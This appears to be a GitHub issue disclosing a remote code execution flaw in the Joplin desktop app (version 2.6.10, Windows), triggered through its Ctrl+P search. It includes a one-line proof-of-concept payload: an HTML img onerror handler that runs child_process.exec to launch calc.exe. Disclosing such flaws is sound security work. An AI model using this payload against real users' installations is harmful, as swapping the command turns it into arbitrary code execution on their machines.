Skip to content

Remote Code Execution vulnerability #6004

@Anthem-whisper

Description

@Anthem-whisper

Jopin Remote Code Execution

Description

Joplin is powered by Eelectron. When the victim press Ctrl+P to search content, if the payload is near the content(before the content), we can remotely execute any JavaScript code on the victim's computer.

image-20220111203136246

Affected versions of Joplin

Joplin version: Joplin 2.6.10

Platform: Windows

OS specifics: Windows 11

PoC

  1. Input the following text to anywhere the search engine of Joplin can search (if you use Linux/macOS, you can replace calc.exe to corresponding command)
wh1sper
<img/src="1"/onerror=eval("require('child_process').exec('calc.exe');");>
  1. press Ctrl+P and input wh1sper

image-20220111204104523

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugIt's a bugdesktopAll desktop platformshighHigh priority issuessecurity

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions